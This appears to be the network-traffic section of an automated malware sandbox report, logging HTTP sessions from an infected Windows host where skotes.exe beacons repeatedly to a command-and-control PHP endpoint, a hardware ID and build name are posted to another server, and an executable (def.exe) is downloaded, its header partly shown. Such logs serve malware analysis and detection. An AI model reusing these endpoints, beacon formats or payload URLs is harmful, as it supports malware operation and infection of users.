Data Ascii: --------------------------qR368zxNu9MnpsPAtbq4gjContent-Disposition: form-data; name="file"; filename="Gocubot.bin"Content-Type: application/octet-stream=Mh<V:\|mB+W}$49aLE<{oOo=rouV,5a4(Pe&%18i]tY`U;Rp" _.$2 {(\v=YKZa2 /cq!Zw30'IYpd T&9^`?kEt'U36(1wgKkNs}PO[,o:Y/6Za-'-sd.Hp?O52yhuKGI"Di.7-)l`.n\|[-;CD\D/+UVMV#UN_8Or^2'ruNi[rV$[)Aa]m/a\{Z!#ud8DCP\[@$B6\|P^5;M(av51bnVN<KlmYAkb0#JP'jn_4YRD-N4\|az=VLv/^qP4dG}[uFGCwDGV2ckW1=XsSj[VYda$'2`Vvp^6pG^U,Z$<Tt=}:s`lZ.j8`]R!cVaFiOrSJ~ [TRUNCATED]
Nov 18, 2024 04:43:16.064158916 CET	2472	OUT	Data Raw: b8 4e 8d ef e6 dc 2e 21 9d 84 44 e3 7d 44 c8 cd d7 89 12 ae 21 eb 98 89 d4 89 34 08 e0 58 1e 83 86 a7 e3 7a d7 03 9b bf 87 3a 48 ff c7 99 d1 3a 30 c1 a0 11 d4 e4 85 90 ee 83 cc a2 d5 e4 21 12 4e 64 04 15 a6 c9 f4 e5 07 89 10 b3 d7 68 a5 a8 19 21 Data Ascii: N.!D}D!4Xz:H:0!Ndh!5eHU\|J(-%^^q$=Eei8*]YJo /f}@a`WVYc]]3iYw!1IvRv]b'<;I61,%"}"t
Nov 18, 2024 04:43:16.064243078 CET	7416	OUT	Data Raw: 82 e2 a6 2e 4d 6d fd 98 8a 9c 94 cb 94 8f bb f1 75 23 70 aa 9f b0 cb 58 69 71 d3 12 89 95 43 fa 0e fe 3b 7c 9b 5d 34 44 92 d6 63 ff d4 24 84 f0 54 c6 74 70 6c c8 50 b6 c1 a2 4e 2f 0d ef 78 b9 04 c1 7e 4a 50 15 a2 9e 4b 98 1d ac 68 da b7 8c c8 56 Data Ascii: .Mmu#pXiqC;\|]4Dc$TtplPN/x~JPKhV_!R~H-c-$8>-4o>9!6@p3J,OOQh])9{-y1fq"y_a2)^5Zy%v2kOLqN
Nov 18, 2024 04:43:16.064414978 CET	12360	OUT	Data Raw: 67 96 f7 8c 81 04 03 43 76 51 d3 da 23 6c 3d 28 1b 76 df e2 f8 2b 7c e6 e0 be 64 9d a7 05 78 ad 21 8f 19 fb a7 16 ca b4 0a 3c 60 4f 36 70 8c 6f fd c9 28 f1 67 8e 9b a8 44 88 0e 42 b6 2b 67 36 8a c1 01 0a 92 f8 4e b8 10 d2 43 70 5c 67 b3 67 50 a6 Data Ascii: gCvQ#l=(v+\|dx!<`O6po(gDB+g6NCp\ggPI:L{hYl^/wia#rdp/ob`)x>_~AH+-{]GG+A /mh!6JPHQfn+BZG}H>
Nov 18, 2024 04:43:16.068978071 CET	2472	OUT	Data Raw: 4c bf 72 43 83 1c 04 da 60 cf 5f 21 3c 90 3f bd cd 0f 0e d7 9d 2c dc 36 17 be 88 43 8f f9 ec 27 62 d4 d3 41 78 f4 0b bc 1b 42 41 36 d8 c6 7b 46 fa e1 ca 5a 6e c3 30 91 6e 0b 94 d2 27 31 86 e0 61 43 a8 4f ef ed 0e fc b0 bd 32 13 0d 13 5a ce b9 75 Data Ascii: LrC`_!<?,6C'bAxBA6{FZn0n'1aCO2Zu-yMWEQ($aoVGgKyCG+obt08SjR`M7*R0ZQiBP7m+2o{v(8CxD;mMLHhCetDV3\|G#G'keSB
Nov 18, 2024 04:43:16.069174051 CET	7416	OUT	Data Raw: c8 a4 6f cd 83 a5 ce 1b ff 2e fc 89 53 d6 03 ff 33 83 7e 8c 68 b1 1c c5 6c 45 f9 4c 2d f4 c2 13 cc 35 06 22 70 82 83 ac 37 17 0f 5d 6a 64 d9 8d 72 76 f6 ae 10 2f 6c b8 9a 4d cb 05 e5 a2 28 90 74 f8 73 96 d1 10 ac b4 a5 a9 87 42 ae 73 96 11 38 90 Data Ascii: o.S3~hlEL-5"p7]jdrv/lM(tsBs8/<8}I4vWYmOaC)!A[\|UxJbLoXO(=/}V8{Cv$}`9uXlxlm(3;;$K?A55(H(bNv7al
Nov 18, 2024 04:43:16.069256067 CET	4944	OUT	Data Raw: 1d bf 81 0a 10 c7 e7 95 11 78 06 a1 cf 1c 75 64 4e 20 6c 63 62 5c 26 83 e1 65 5d 9e 51 25 83 8d 0f 51 13 45 81 5e a2 fc fd 53 c0 d0 9e 61 6e f9 f0 06 26 41 5b 04 c2 dc 9e d7 d4 b2 2e 79 6b 39 9a 21 98 9c 17 65 1d 27 2b 20 f6 36 d9 94 ce a5 56 38 Data Ascii: xudN lcb\&e]Q%QE^San&A[.yk9!e'+ 6V8a%.0REID-..?2=mg4HC+NCVPIK?Y(!-O0^WTd[vU&s>\ caCdFsAq%G]
Nov 18, 2024 04:43:16.069269896 CET	2472	OUT	Data Raw: 27 d5 8f d0 4a b6 83 b2 a9 7e 2e 3a 3a 98 91 60 7b e7 ba d4 3b fd da 44 f4 42 fd 98 b3 94 7b 9f 06 05 50 fe 9d c1 3e 4c 4c 32 8e ec 8b 5d ad 35 67 20 c1 97 a9 47 87 93 6f aa 58 d3 30 b6 27 f4 0e fd d0 94 b1 6f c0 76 bd 17 98 56 b6 f0 d1 a3 f8 3c Data Ascii: 'J~.::`{;DB{P>LL2]5g GoX0'ovV<vU0gpL;J+ClUdocqfZt2O7Y!&>rhL0v(}y@lCXcHe'RI6vk6Rp[DyP&=U36Q"6C\9b^`2[~
Nov 18, 2024 04:43:16.116602898 CET	24408	OUT	Data Raw: d5 9e bb b1 22 a1 53 b3 6e 32 0f 0c 0b 60 3e 46 83 a2 3b 5d fd 3a 83 dd 3a 98 0a d8 60 06 0a 1d 78 54 11 6f aa 48 f5 43 34 c8 05 28 7b 9d 20 e7 85 34 b3 e1 ce 0b f7 8f 8f 34 c9 36 b7 c4 a9 dd 80 48 4d f4 52 35 95 48 91 eb df 00 5b 57 06 6d 9d 23 Data Ascii: "Sn2`>F;]::`xToHC4({ 446HMR5H[Wm#z4pQ_]MGhhWxu=nGJg2Yo0RmBGdS`Lg%}3+XLv`7o1E/tUPqJ^knPIRiiR4,gZ?5UA
Nov 18, 2024 04:43:20.451105118 CET	209	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:43:20 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	64830	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:17.123351097 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:43:18.059838057 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:43:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	64831	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:17.949402094 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 18, 2024 04:43:18.836837053 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:43:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 04:43:18.842894077 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAFIIDAKJDGDHIDAKJJ Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 41 46 49 49 44 41 4b 4a 44 47 44 48 49 44 41 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 36 44 35 41 44 31 38 34 41 41 31 31 30 36 36 35 34 35 34 36 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 49 49 44 41 4b 4a 44 47 44 48 49 44 41 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 49 49 44 41 4b 4a 44 47 44 48 49 44 41 4b 4a 4a 2d 2d 0d 0a Data Ascii: ------HDAFIIDAKJDGDHIDAKJJContent-Disposition: form-data; name="hwid"C26D5AD184AA1106654546------HDAFIIDAKJDGDHIDAKJJContent-Disposition: form-data; name="build"mars------HDAFIIDAKJDGDHIDAKJJ--
Nov 18, 2024 04:43:19.119100094 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:43:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	64832	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:19.706577063 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:43:20.606342077 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:43:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	64833	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:22.465719938 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:43:23.370126963 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:43:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	64838	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:25.005784035 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:43:25.924046040 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:43:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	64844	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:27.444972038 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:43:28.336921930 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:43:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	64848	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:29.979999065 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:43:30.891210079 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:43:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	64850	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:32.288036108 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 18, 2024 04:43:33.191890955 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:43:33 GMT Content-Type: application/octet-stream Content-Length: 2800128 Last-Modified: Mon, 18 Nov 2024 03:26:33 GMT Connection: keep-alive ETag: "673ab3e9-2aba00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 ef 1a 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ + `@ `++`Ui` @ @.rsrc`2@.idata 8@hinbqzan`X:@bfucfdhf +@.taggant@ +"@
Nov 18, 2024 04:43:33.191916943 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:43:33.191926003 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:43:33.191937923 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:43:33.191951036 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:43:33.191961050 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:43:33.191972017 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:43:33.191987038 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 04:43:33.191998005 CET	1236	IN	Data Raw: 14 53 3e 10 c2 3f 0a 05 ff 42 34 3c 8d 6b 4b 8a 25 44 aa ad 50 70 02 4e bf 9d 13 29 f6 cf 2f 5a 77 93 e4 1f e5 43 e7 fc 3e 24 09 d0 5f 5d 0f 82 49 9f 55 2f 19 ea 97 06 12 1e 67 73 e9 9b ef 18 1d 61 11 a4 0e 26 f0 1a f3 66 f4 69 92 fd 33 d6 be 78 Data Ascii: S>?B4<kK%DPpN)/ZwC>$_]IU/gsa&fi3x~lsF=N_4:lfuj%%4!W2Z,Re2Gt=*=SO1@k_+/D5~09ALMRSWL-Ng8yH-?L~
Nov 18, 2024 04:43:33.192009926 CET	1236	IN	Data Raw: e6 39 38 5a fe bd c7 b2 d3 eb 3b 42 2e 48 49 f5 d6 00 4d d7 cd bc 4c 22 77 4b e5 2e e9 1e 55 14 b2 e4 5c e4 07 7c 25 05 db 1b 13 14 09 78 8a 94 0f 64 6e a1 74 48 38 0d 1d c6 84 f8 50 cd 3b fd ff d1 f4 e5 5f 55 1f d5 95 68 95 03 be 63 fe c4 ed 35 Data Ascii: 98Z;B.HIML"wK.U\\|%xdntH8P;_Uhc5\HTL?f 37aHw]l/\|^3]9a\|y?pl4tvl=lk`33z1D4}48oH~x=z6Iw^Kl+:0g7{6?
Nov 18, 2024 04:43:33.196847916 CET	1236	IN	Data Raw: 08 ab a4 1d 6b cb f7 33 16 39 92 c4 8c 73 19 bc 42 1d b6 bf 09 4e 25 d5 57 56 3c 0d 4f dc 8b cf ef 76 69 e2 67 49 ff 63 6c 81 f1 6e b0 76 43 19 17 76 f6 29 30 83 c4 b2 56 68 1a e6 af de 8c bd 42 ec f3 f8 70 32 0b 09 d1 b7 67 23 90 63 bb 96 41 5b Data Ascii: k39sBN%WV<OvigIclnvCv)0VhBp2g#cA[Z9Z:[Pl,?SN6rdT3k/5=@6MWBV'l^V~VTn'fSW%7J YSe6inx\|LPpiY=#!qcCuli$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	64853	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:32.465522051 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:43:33.373857975 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:43:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	64860	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:43:33.545648098 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 04:43:34.142158031 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 79548 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 04:43:34.295933962 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 04:43:34.421359062 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 79548 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 04:43:34.476918936 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 04:43:34.601974964 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 79548 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
